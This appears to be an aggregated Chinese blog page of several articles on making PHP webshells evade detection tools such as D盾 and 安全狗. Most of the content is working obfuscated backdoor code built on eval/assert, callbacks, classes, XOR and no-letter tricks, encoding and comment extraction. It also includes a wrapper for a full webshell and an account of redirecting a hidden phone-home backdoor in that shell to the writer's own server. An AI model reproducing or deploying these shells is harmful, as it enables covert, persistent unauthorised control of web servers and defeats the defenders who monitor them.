精华内容
下载资源
问答
  • webshell免杀套路
    2021-01-30 08:26:15

    bc723fd173c6dccdd2d9f97b53498843.png

    0x01 前言

    尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧

    0x02 目录关于eval 与 assert

    字符串变形

    定义函数绕过

    回调函数

    回调函数变形

    特殊字符干扰

    数组

    编码绕过

    无字符特征马

    PHP7.1后webshell何去何从

    总结

    0x03 关于eval 于 assert

    关于eval函数在php给出的官方说明是eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用 可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a()?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

    关于assert函数assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!

    0x04 字符串变形

    字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视"形" 一个特殊的变形就能绕过安全狗,看看PHP手册,有着很多关于操作字符串的函数ucwords()//函数把字符串中每个单词的首字符转换为大写。

    ucfirst()//函数把字符串中的首字符转换为大写。

    trim()//函数从字符串的两端删除空白字符和其他预定义字符。

    substr_replace()//函数把字符串的一部分替换为另一个字符串

    substr()//函数返回字符串的一部分。

    strtr()//函数转换字符串中特定的字符。

    strtoupper()//函数把字符串转换为大写。

    strtolower()//函数把字符串转换为小写。

    strtok()//函数把字符串分割为更小的字符串

    str_rot13()//函数对字符串执行 ROT13 编码。

    由于PHP的灵活性操作字符串的函数很多,我这里就不一一列举了

    用 substr_replace() 函数变形assert 达到免杀的效果<?php

    $a=substr_replace("assexx","rt",4);

    $a($_POST['x']);

    ?>

    其他函数类似 不一一列举了

    0x05 定义函数绕过

    定义一个函数把关键词分割达到bypass效果<?php

    functionkdog($a){

    $a($_POST['x']);

    }

    kdog(assert);

    ?>

    反之<?php

    functionkdog($a){

    assert($a);

    }

    kdog($_POST[x]);

    ?>

    效果一样,这种绕过方法,对安全狗还是比较有效的 在d盾面前就显得小儿科了 ,不过后面会讲到如何用定义函数的方法来 绕过d盾

    0x05 回调函数call_user_func_array()

    call_user_func()

    array_filter()

    array_walk()

    array_map()

    registregister_shutdown_function()

    register_tick_function()

    filter_var()

    filter_var_array()

    uasort()

    uksort()

    array_reduce()

    array_walk()

    array_walk_recursive()

    回调函数大部分已经被安全软件加入全家桶套餐 所以找到一个生僻的不常用的回调函数来执行 比如<?php

    forward_static_call_array(assert,array($_POST[x]));

    ?>

    这个函数能过狗,但是D盾显示是一级

    0x05 回调函数变形

    前面说过众多回调函数已经被加入豪华套餐了,怎么绕过呢,其实也很简单 那就是定义个函数 或者类来调用

    定义一个函数<?php

    functiontest($a,$b){

    array_map($a,$b);

    }

    test(assert,array($_POST['x']));

    ?>

    定义一个类<?php

    classloveme{

    var$a;

    var$b;

    function__construct($a,$b){

    $this->a=$a;

    $this->b=$b;

    }

    functiontest(){

    array_map($this->a,$this->b);

    }

    }

    $p1=newloveme(assert,array($_POST['x']));

    $p1->test();

    ?>

    0x06 特殊字符干扰

    特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符

    初代版本<?php

    $a=$_REQUEST['a'];

    $b=null;

    eval($b.$a);

    ?>

    不过已经不能免杀了,利用适当的变形即可免杀 如<?php

    $a=$_POST['a'];

    $b="\n";

    eval($b.=$a);

    ?>

    其他方法大家尽情发挥如"\r\n\t",函数返回,类,等等

    除了连接符号 还有个命名空间的东西 \ 具体大家可以看看php手册<?php

    functiondog($a){

    \assert($a);

    }

    dog($_POST[x]);

    ?>

    当然还有其他的符号熟读PHP手册就会有不一样的发现

    0x07 数组

    把执行代码放入数组中执行绕过<?php

    $a=substr_replace("assexx","rt",4);

    $b=[''=>$a($_POST['q'])];

    ?>

    多维数组<?php

    $b=substr_replace("assexx","rt",4);

    $a=array($arrayName=array('a'=>$b($_POST['q'])));

    ?>

    0x08 类

    说到类肯定要搭配上魔术方法比如 __destruct(), __construct()直接上代码<?php

    classme

    {

    public$a='';

    function__destruct(){

    assert("$this->a");

    }

    }

    $b=newme;

    $b->a=$_POST['x'];

    ?>

    用类把函数包裹,D盾对类查杀较弱

    0x09 编码绕过

    用php的编码函数,或者用异或等等 简单的base64_decode,其中因为他的正则匹配可以加入一些下划线干扰杀软<?php

    $a=base64_decode("YXNz+ZX____J____0");

    $a($_POST[x]);

    ?>

    异或<?php

    $a=("!"^"@").'ssert';

    $a($_POST[x]);

    ?>

    0x9 无字符特征马

    对于无特征马这里我的意思是 无字符特征利用异或,编码等方式 例如p神博客的<?php

    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');// $_='assert';

    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

    $___=$$__;

    $_($___[_]);// assert($_POST[_]);利用正则匹配字符 如Tab等 然后转换为字符

    利用POST包获取关键参数执行 例如<?php

    $decrpt=$_POST['x'];

    $arrs=explode("|",$decrpt)[1];

    $arrs=explode("|",base64_decode($arrs));

    call_user_func($arrs[0],$arrs[1]);

    ?>

    0x10 PHP7.1后webshell何去何从

    在php7.1后面我们已经不能使用强大的assert函数了用eval将更加注重特殊的调用方法和一些字符干扰,后期大家可能更加倾向使用大马

    总结

    对于安全狗杀形,d盾杀参的思路来绕过。生僻的回调函数,特殊的加密方式,以及关键词的后传入都是不错的选择。 对于关键词的后传入对免杀安全狗,d盾,河马 等等都是不错的,后期对于菜刀的轮子,也要走向高度的自定义化 用户可以对传出的post数据进行自定义脚本加密,再由webshell进行解密获取参数,那么以现在的软WAF查杀能力 几乎为0,安全软件也需要与时俱进了。

    ◆本文版权归原作者所有,如有侵权请联系我们及时删除

    更多相关内容
  • webshell免杀

    2022-04-10 22:06:00
    webshell免杀php 免杀jsp 免杀 https://xz.aliyun.com/t/10937 https://xz.aliyun.com/t/10989 php 免杀 传统php免杀 变形 + 外部参数 =解析=waf防火墙==> 命令执行 语法报错->解析失败 php版本 语义出错 php...

    webshell免杀

    https://xz.aliyun.com/t/10937
    https://xz.aliyun.com/t/10989

    php 免杀

    传统php免杀
    变形 + 外部参数 =解析=waf防火墙==> 命令执行

    语法报错->解析失败

    php版本 语义出错 php命令执行

    1. 利用在高版本php语法不换行来执行命令
     <?=
    $a=<<< aa
    assasssasssasssasssasssasssasssasssasssasssassss
    aa;echo `whoami`
    ?>
    

    5.2.17nts 版本报错
    在这里插入图片描述
    5.3.29nts 报错
    在这里插入图片描述
    5.4.45nts 报错
    在这里插入图片描述
    7.3.4nts 执行
    在这里插入图片描述

    1. 利用\特殊符号 引起报错
     <?php
    \echo `whoami`;?>
    

    5.3.29nts 报错
    在这里插入图片描述
    7.3.4nts 报错
    5.2.17nts
    在这里插入图片描述

    1. 十六进制字符串
      7 不认为是数字
      5为数字
      5.3 5.5 可执行
      5.2 7 无法执行
     <?php
    $s=substr("aabbccsystem","0x6");
    $s(whoami)
    ?>
    

    jsp 免杀

    展开全文
  • Webshell免杀

    2020-12-31 09:12:23
    如果出现某种WAF防护,就寻找一个免杀的大马挂马。最常见的php一句话木马这个一句话木马由两部分组成,eval用来执行接收的代码。$_POST['x']来接收数值。本着这个原则,尝试改写一句话木马绕过WAF。搜集了几个常用的...

    一句话木马

    在渗透测试中最常用的就是一句话后门(小马)和中国菜刀的配合。如果出现某种WAF防护,就寻找一个免杀的大马挂马。

    最常见的php一句话木马<?php   @eval($_POST['x']);?>

    这个一句话木马由两部分组成,eval用来执行接收的代码。$_POST['x']来接收数值。

    本着这个原则,尝试改写一句话木马绕过WAF。

    搜集了几个常用的php函数

    执行代码的eval、assert、preg_replace

    接收数据的$_POST、$_GET、$_REQUEST

    php一句话免杀

    str_rot13函数<?php

    $c=str_rot13('nffreg');

    $c($_REQUEST['x']);

    ?>

    str_rot13函数来替代assert。该函数对字符串执行ROT13编码。ROT13编码就是把每个字母在字母表中移动13位。

    测试发现无法绕过安全狗。修改一下。<?php

    function xiaoma($a){

    $c=str_rot13('nffreg');

    $c($a);

    }

    xiaoma($_REQUEST['x']);

    ?>

    即可绕过安全狗。<?php

    class One{

    function xiaoma($x){

    $c=str_rot13('n!ff!re!nffreg');

    $str=explode('!',$c)[3];

    $str($x);

    }

    }

    $test=new One();

    $test->xiaoma($_REQUEST['x']);

    ?>

    再次修改,加了explode函数分割字符串,class封装类。可绕过D盾。

    array_map函数

    array_map() 函数将函数作用到数组中的每个值上,并返回一个新的数组。<?php

    $a1=array("1234","123456");

    $a2=array(@$_REQUEST['x'],"1234");

    $a=array_map(null,$a1,$a2)[0][1];

    assert($a);

    ?>

    即可绕过安全狗。

    array_key函数

    array_key() 函数也是返回包含数组的一个新数组。<?php

    $a=array($_REQUEST['x']=>"3");

    $b=array_keys($a)[0];

    eval($b);

    ?>

    索引数组变化为关联数组。

    即可绕过安全狗、D盾。

    preg_replace函数

    用来正则匹配的一个函数。<?php

    function func(){

    return $_REQUEST['x'];

    }

    preg_replace("/test/e",func(),"i am test");

    ?>

    /e用来当做php代码解析。5.6版本以下实用。

    测试可绕过安全狗和D盾。

    preg_filter函数

    根据preg_replace修改为preg_filter函数,也是用来执行正则的匹配替换。<?php

    $a=preg_filter('/\s+/','','as s er t');

    $a($_REQUEST['x']);

    ?>

    也可以绕过D盾、安全狗。

    其他<?php

    function test($a){

    $arr = array('a','s','s','e','r','t');

    $func = '';

    for($i=0;$i

    $func.=$func.$arr[$i];

    }

    $func=substr($func,-6);

    $func($a);

    }

    test($_REQUEST['x']);

    ?>

    也可以绕过D盾、安全狗。

    php免杀大马

    正好自己手里有一个php大马。但不免杀。尝试将源码base64加密后修改为php免杀大马。

    将大马eval函数变为exit或者echo。burp抓取源代码。

    将源代码拷贝下来,审计发现给源码存在一处后门。

    base64解码一下

    哦!!!真是可以。

    将该base64地址修改为自己的vps地址。嘻嘻。

    那现在只要eval函数可以执行这传base64的字符串就可以啦。

    WAF对base64_encode、base64_decode查杀非常严格。

    不断搜索、修改、编写,最终成功。<?php

    header("Content-type: text/html; charset=utf-8");

    class one{

    public function dama(){

    $l='base';

    $o='64_de';

    $v='co';

    $e='de';

    $love=$l.$o.$v.$e;

    $c="love";

    $shellname='网站安全检测';

    $password='xxx';

    $myurl='http://www.xxx.com';

    $a=$$c('code');//php源码

    @eval($a);

    }

    }

    $person = new one;

    $person->dama();

    ?>

    直接将php大马源码放在code处。即可。

    也可以改造php免杀一句话木马。

    比如这款<?php

    header("Content-type: text/html; charset=utf-8");

    function test($code){

    $password='xxx';

    $a=preg_filter('/\s+/','','base 64 _ deco de');

    $c=$a($code);

    @eval($c);

    }

    $code='';//code存放php大马

    test($code);

    ?>

    访问一下。

    查看vps是否接收到。

    参考资料:

    关注我们

    我是Tide安全团队的CSeroad,对web安全感兴趣的小伙伴可以关注或加入我们。Tide安全团队http://www.tidesec.net/

    展开全文
  • 凡是使用webshell时,免杀都是需要考虑的事情,说白了就是我的webshell得能用啊!故本篇做一个webshell免杀的学习,主要是php的一句话

    前言

    凡是使用webshell时,免杀都是需要考虑的事情,说白了就是我的webshell得能用啊!故本篇做一个webshell免杀的学习,主要是php的一句话

    一、关于webshell

    所谓webshell,就是向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。所以其实是两步:

    • 数据的传递
    • 执行所传递的数据

    1、数据传递

    (1)HTTP请求中获取数据

    $_GET$_POST$_COOKIES$_FILE

    HTTP包中的任何位置都可以作为payload的传输媒介

    (2)从远程URL中获取数据

    file_get_contentscurlsvn_checkout

    将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取

    (3)从磁盘文件中获取数据

    filefile_get_contents

    将需要执行的指令数据放在磁盘文件中,利用IO函数来读取

    (4)从数据库中读取

    将需要执行的指令放在数据库中,利用数据库函数来读取

    (5)从图片头部中获取

    exif_read_data

    将需要执行的指令数据放在图片头部中,利用图片操作函数来读取

    2、代码执行

    (1)常用命令执行函数

    evalsystemassertexecshell_exec

    最普通、标准的代码执行

    (2)LFI

    includerequire

    利用浏览器的伪协议将文件包含转化为代码执行

    (3)动态函数执行

    $()

    PHP的动态函数特性

    (4)Curly Syntax

    ${${…}}

    这种思路可以把变量赋值的漏洞转化为代码执行的机会

    3、PHP一句话

    最常见的就是eval和assert:

    • eval:PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行(必须符合PHP代码要求)
    • assert:PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数。php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码;php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码
    <?php eval(@$_POST['a']); ?>
    <?php assert(@$_POST['a']); ?>
    

    一些常见方法:

    • 命令执行类:通过eval、assert、system、create_function等函数来执行命令
    • 动态构造类:在php支持的动态构造函数中调用执行命令
    • preg类:正则系列函数可以使用/e模式正则来执行命令
    • 回调函数类:利用回调函数构造的Webshell,覆盖所有的callable类型参数
    • 反射函数类:利用ReflectionFunction等类,以及对应的invoke等方法执行命令

    二、关于WAF

    要免杀,当然得先了解是谁在杀,主要是D盾、安全狗,护卫神等,其他还有杀毒软件如火绒、360

    其检测思路大概有:

    • 分析统计内容:可以结合黑名单或者其他特征列表,例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell
    • 语义分析:把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法
    • 机器学习:这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell
    • 动态监控:采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本也十分的高昂。

    1、基于流量和字符特征的检测

    既然是字符特征,首先就是对于一些危险函数(上面提到的那些)的检测:

    • system : system()函数将命令作为参数,并输出结果
    • exec : exec()功能是将命令作为参数,但不输出结果。如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行
    • shell_exec : shell_exec()函数类似于exec(),但是,其整个输出结果为字符串
    • passthru : passthru()执行一个命令并返回原始格式的输出
    • proc_open : proc_open()函数可能很难理解。简单地说,我们可以使用proc_open(),创建一个处理程序(流程),实现脚本和要运行的程序之间的通信
    • 倒引号 : 很多PHP开发人员并没有意识到这一点,但是PHP会首先执行shell命令中倒引号内的内容
    • 还有popencurl_execcurl_multi_execparse_ini_fileshow_source

    然后是在返回包中检测特殊字符:root或者是其他一些敏感字符串passwd等等

    2、基于文件特征

    主要基于HASH的匹配,取决于样本的捕捉能力及形成特征列表的数量,还是会出现漏报问题。

    这里会对上传上来的文件进行分片处理,之后会对每一个片段进行hash计算,在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。

    3、基于AST语义分析

    为了弥补统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。

    其实这一部分有点类似于代码审计,核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表,这个表里放满了各种函数,有点类似于黑名单。在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。但是这个名单必须得大而全,而且得考虑很多特殊情况。

    4、动/静态符号执行

    实际是就是去发现没有过滤或者过滤不完全的可控变量,一但存在用户可以控制的代码逻辑,那么危险系数就很高了。

    5、机器学习

    这个需要大量的webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。

    6、终极检测引擎Rasp

    在2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。

    RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。

    三、免杀思路

    下面是一些免杀的思路,但实际需要多种思路结合,办法总比困难多

    1、字符串变换

    将关键词进行拼接转换等,来绕过对关键词的检测

    一些可用的方法有:

    ucwords() //函数把字符串中每个单词的首字符转换为大写。
    ucfirst() //函数把字符串中的首字符转换为大写。
    trim() //函数从字符串的两端删除空白字符和其他预定义字符。
    substr_replace() //函数把字符串的一部分替换为另一个字符串
    substr() //函数返回字符串的一部分。
    strtr() //函数转换字符串中特定的字符。
    strtoupper() //函数把字符串转换为大写。
    strtolower() //函数把字符串转换为小写。
    strtok() //函数把字符串分割为更小的字符串
    str_rot13() //函数对字符串执行 ROT13 编码。
    

    由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行;又由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用

    几个例子:

    <?php
    $a="a";
    $b="sse";
    $c="00";
    $d= substr_replace($a.$b.$c,"rt",4);
    $d($_POST['a'];
    ?>
    
    <?php
    $a = substr_replace("xxser","asser",-3);
    $aa = array('',$a);
    $b = $aa[1].chr('116');
    $fun=preg_replace("/xx/","",$b);
    $cc = substr_replace("",$fun,0);
    
    $cc($_POST['x']);
    ?>
    

    2、编码绕过

    编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式

    • ascii

      <?php
      $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
      $a($_POST['a'];
      ?>
      
    • base64

      <?php
      $a = base64_decode("YX__Nz_ZX____J0");
      $a($_POST[x]);
      ?>
      

    但是常见的编码和加密都被放入名单了,所以可以考虑base32、base58 这类的base编码全家桶,或者自定义ascii移位,甚至是对称加密算法

    3、自定义函数

    在一个自定义函数中执行assert、eval等,或在函数中进行输入传入$_POST$_GET

    但这种方法效果不佳,可以和别的结合

    举个例子:

    <?php 
    function zeo($b){
        return $b;
    }
    function ass($a){
        return eval($a);
    }
    function post(){
        return $_POST['x'];
    }
    
    function run(){
    	return zeo(ass)(zeo(post)());
    }
    
    zeo(ass)(zeo(post)());
    ?>
    

    4、回调函数

    回调函数大概有以下这些,大部分都已经被拉黑了。。。单独用都得死:

    call_user_func_array()
    call_user_func()
    array_filter() 
    array_walk()  
    array_map()
    array_reduce()
    array_walk() 
    array_walk_recursive()
    filter_var() 
    filter_var_array() 
    uasort() 
    uksort() 
    registregister_shutdown_function()
    register_tick_function()
    forward_static_call_array(assert,array($_POST[x]));
    

    举几个例子(只是示例,基本都被拉黑了):

    • array_map

      <?php
      function username()
      {
      
      $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
      return ''.$a;
      }
      $user = username();
      $pass =array($_GET['password']);
      array_map($user,$user = $pass );
      ?>
      
    • call_user_func_array

      <?php
      $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
      call_user_func_array($a, array($_GET['a']));
      ?>
      
    • 定义个函数加个简单的拼接

      <?php 
      function zeo($c,$d){
      	pj()($c,$d);
      }
      function pj(){
      	return "register_shut"."down_function";
      }
      
      $b=$_POST['x'];
      zeo(assert,$b);
      ?>
      

    5、数组

    将执行代码放在数组中,配合其他绕过手段就仍然有效

    举几个例子:

    • 一维
      <?php
      $a = substr_replace("asse00","rt",4);
      $b=array($array=array(''=>$a($_GET['x'])));
      var_dump($b);
      ?>
      
    • 二维
      <?php
      $b = substr_replace("assexx","rt",4);
      $a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
      ?>
      

    6、可变变量

    可变变量是指一个普通变量的值可以作为另一个变量的名称被使用,如下:

    $a = 'hello';
    $$a = 'world';
    echo $hello;
    # 输出就是world
    
    • 第一行是一个普通的变量定义,变量名称为a,变量值为hello
    • 第二行使用变量a的值,定义了一个变量,这个变量的名字叫做hello(也就是a的值),值为world
    • 将这个变量输出之后的结果是:world

    举个例子:

    <?php 
    $zeo='dalao';
    $$zeo=$_POST['x'];
    eval($dalao);
    ?>
    

    7、类

    这个好像很火,主要是魔术方法

    举几个例子:

    <?php
    class Student
    {
        public $_1='';
        function __destruct(){
            assert("$this->a");
        }
    }
    $_2 = new Student;
    $_2->$_1 = $_POST['a'];
    ?>
    
    <?php 
    class zeo2
    {
      public $b ='';
      
      function post(){
        return $_POST['x'];
      }
    }
    class zeo extends zeo2
    {
      public $code=null;
      function __construct(){
      	$code=parent::post();
        assert($code);
      }
    }
    $blll = new zeo;
    $bzzz = new zeo2;
    ?>
    

    8、特殊字符干扰

    主要是能干扰到杀软的正则判断,还要代码能执行。可以自己fuzz,大概就是说各种回车、换行、null和空白字符等

    举个例子:

    <?php 
    $zeo='dalao';
    $$zeo=$_POST['x'];
    eval(``.$dalao);
    ?>
    

    9、注释获取

    ReflectionClass::getDocComment 可以获取文档注释

    某些安全软件会忽略注释中的代码,所以这种方式是将恶意代码写入注释中,再通过ReflectionClass的getDocComment方法将其提取出来执行,但是非注释内容中也会存在eval或assert,可能会被报低级别可疑

    举个例子:

    <?php  
        /**   
        * assert($_GET[1+0]);
        */  
        class User { }  
        $user = new ReflectionClass('User');
        $comment = $user->getDocComment();
    	$d = substr($comment , 14 , 20);
    	assert($d);
    ?>
    

    10、无字母

    用各种运算,例如异或,拼装出来想要的函数,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可

    可参见:一些不包含数字和字母的webshell

    举个例子:

    <?php
    @$_++;
    $__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
    $___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
    ('%05'^'`')
    #  “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
    ${$__}[!$_](${$___}[$_]);
    ?>
    

    国光师傅写了个脚本:

    import string 
    from urllib.parse import quote 
    keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) 
    results = [] 
    for i in keys: 
    	for j in keys: 
    		asscii_number = i^j 
    		if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): 
    			if i < 32 and j < 32: 
    				temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
    				results.append(temp) 
    			elif i < 32 and j >=32: 
    				temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
    				results.append(temp) 
    			elif i >= 32 and j < 32: 
    				temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
    				results.append(temp) 
    			else: 
    				temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
    				results.append(temp) 
    results.sort(key=lambda x:x[1], reverse=False) 
    for low_case in string.ascii_lowercase: 
    	for result in results: 
    		if low_case in result: 
    			print(result[0]) 
    for upper_case in string.ascii_uppercase: 
    	for result in results: 
    		if upper_case in result: 
    			print(result[0])
    

    11、利用POST包获取关键字

    <?php
    $decrpt = $_POST['x'];
    $decrps = $_POST['y'];
    $arrs = explode("|", $decrpt)[1];
    $arrs = explode("|", base64_decode($arrs));
    $arrt = explode("|", $decrps)[1];
    $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
    ?>
    

    在这里插入图片描述

    12、获取定义过的函数

    public ReflectionClass::getConstants(void) : array
    

    获取某个类的全部已定义的常量,不管可见性如何定义

    class Test
    {
        const a = 'As';
        const b = 'se';
        const c = 'rt';
    
        public function __construct()
        {
        }
    }
    $para1;
    $para2;
    $reflector = new ReflectionClass('Test');
    
    for ($i=97; $i <= 99; $i++) {
        $para1 = $reflector->getConstant(chr($i));
        $para2.=$para1;
    }
    
    foreach (array('_POST','_GET') as $_request) {
        foreach ($$_request as $_key=>$_value) {
            $$_key=  $_value;
        }
    }
    
    $para2($_value);
    

    四、其他

    1、PHP7.1困境

    php7.1之后我们已经不能使用强大的assert函数了,waf只要把函数封死就可以有效的阻⽌webshell免杀,而eval并没有assert那么灵活。

    后期大家可能更加倾向使用大马或内存马

    2、一些工具

    https://github.com/pureqh/webshell

    3、一些思考

    (1)要考虑php不同版本的特性

    举几个例子:
    mb_ereg_replace、mb_eregi_replacez这两个存在别名函数:mbereg_replace、mbereg_ireplace

    但是这个别名在7.3中被移除了。preg_replace的/e模式也在7版本中被删除了。

    (2)灵活利用php的语法特性

    从异或,回调函数,字符编码,包含调用,字符拼接。其实这些很多都已经被d盾这种软件收录进去了。

    我们要做的就是不断的变形,包括venom利用的异或和类的析构函数,虽然已经被查杀了,但是我们利用静态函数成功的绕过了检测。静态函数调用普通函数,或者普通函数调用静态函数。还有类的继承机制等都是可考虑的

    (3)善于使用特殊符号

    这里p神讲的一个:

    eval<char>('phpinfo')
    

    增加特殊字符

    [\x00-\x20]
    

    php在解析的时候可能会忽略这些控制字符,但是一些语义分析的检测引擎就无法正确识别这些特殊字符,导致被绕过的现象。

    (4)再就是开脑洞的一些思路了

    例如我们可不可以把webshell隐藏在多个正常的php文件中形成一个调用链,当然这种形式已经跳出了上传的场景,更加偏向于权限维持

    我们也可以将webshell隐藏在php扩展中来绕过一些限制敏感函数执行的场景(其实这个思路已经有很多大佬做过了)

    还有就是配合其它语言进行利用并配合linux和windows的一些特性啥的

    结语

    对webshell免杀做了个学习,这是个不断博弈和进步的方向

    展开全文
  • 免杀webshell生成工具 知识点:使用注释分隔eval函数内关键字,使用类和构造函数替代引用函数 blog: command:python php_webshell.py 知识点:使用分隔关键字等绕过 blog: 知识点:使用自定义加密绕过杀软拼接...
  • PHP-Webshell免杀研究

    2020-08-23 16:28:41
    有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗、D盾、护卫神、云锁等安全软件查杀,在本篇文章中将会介绍一些常用的木马免杀技巧,主要针对安全狗、护卫神、D盾进行免杀~ ...
  • 一个免杀webshell是我们在渗透测试过程中能否拿到目标权限的一个“前提”,首先webshell需要存活,其次是否能够执行命令,最后我们使用webshell管理工具时流量是否被拦截。所以免杀至关重要。 我的第一个一句话...
  • webshell免杀思路

    2021-07-01 22:52:29
    webshell免杀套路,感谢众位大师傅的分享
  • Webshell免杀绕过waf

    千次阅读 2019-03-31 15:03:00
    Webshell免杀绕过waf 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 特殊字符干扰 数组 类 编码...
  • webshell免杀小工具

    2020-12-25 10:30:40
    '''<% %>''' def random_name(len): str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' return ''.join(random.sample(str, len)) def build_webshell(): FunctionName = random_name(4) parameter = random_name(4) FunctionName...
  • 在做渗透测试的过程中经常会遇到waf的阻拦,针对waf绕过webshell篇总结如下,肯定有遗漏,之后学习之后再继续补充。 小型网站常见的waf有: D盾 一句话免疫,主动后门拦截,SESSION保护,防WEB嗅探,防CC,防篡改,...
  • Webshell免杀套路

    千次阅读 2019-05-14 09:40:53
    因为前几天详细看了几个小马,想研究一下免杀的技巧,研究了下火绒安全对小马的免杀效果,跟下面描述的效果差不多,不过像D盾,360网站安全卫士等等的这些WAF效果我就不清楚了 其实总结下来,免杀的技巧大概就是...
  • php+webshell免杀的php

    2011-03-10 20:53:06
    可以方便进行目录管理,探测服务器信息,编辑修改删除创建文件,修改权限,连接mysql数据库 密码:nst
  • webshell免杀的总结

    千次阅读 2022-04-24 19:45:56
    文章目录前言php的一句话木马ASP的一句话木马JSP的一句话木马 前言 这里对一句话木马进行一个总结,方便自己以后查询 ...直接上文章吧,懒得自己写了 基本的变形 ...算是进阶的webshell免杀的内容 http
  • 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。 0x01:自定义加密Bypass ...
  •  安全狗webshell免杀 思路:不出现eval,assert,system等安全狗拦截的关键字。 PHP file_get_contents()函数 从别的地方获取一个txt文件,文件里面包括了eval,assert,system等关键字。 用$_REQUEST[文件名] ...
  • Webshell免杀教程

    2009-02-03 17:47:37
    Webshell免杀教程,精华浓缩版,详细介绍Webshell这个目前很流行的技术
  • 免杀webshell
  • webshell多种方法免杀

    千次阅读 2020-12-31 13:39:23
    webshell这个东西对于web方向的还是极其重要的,getshell被杀了很难受,于是来研究一波自己的免杀马儿,毕竟别人没有自己的好用,而且分享出来分分钟被杀。 在本篇文章中将会介绍一些常用的木马免杀技巧 0x01 检测...
  • PHP免杀webShell总结

    2021-03-23 22:06:57
    0x001 前言尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧。0x002 eval()函数eval()是一个语言构造器而不是一个函数,不能被 可变函数 调用可变函数:通过一个变量,获取其对应的变量值,然后通过给该值...
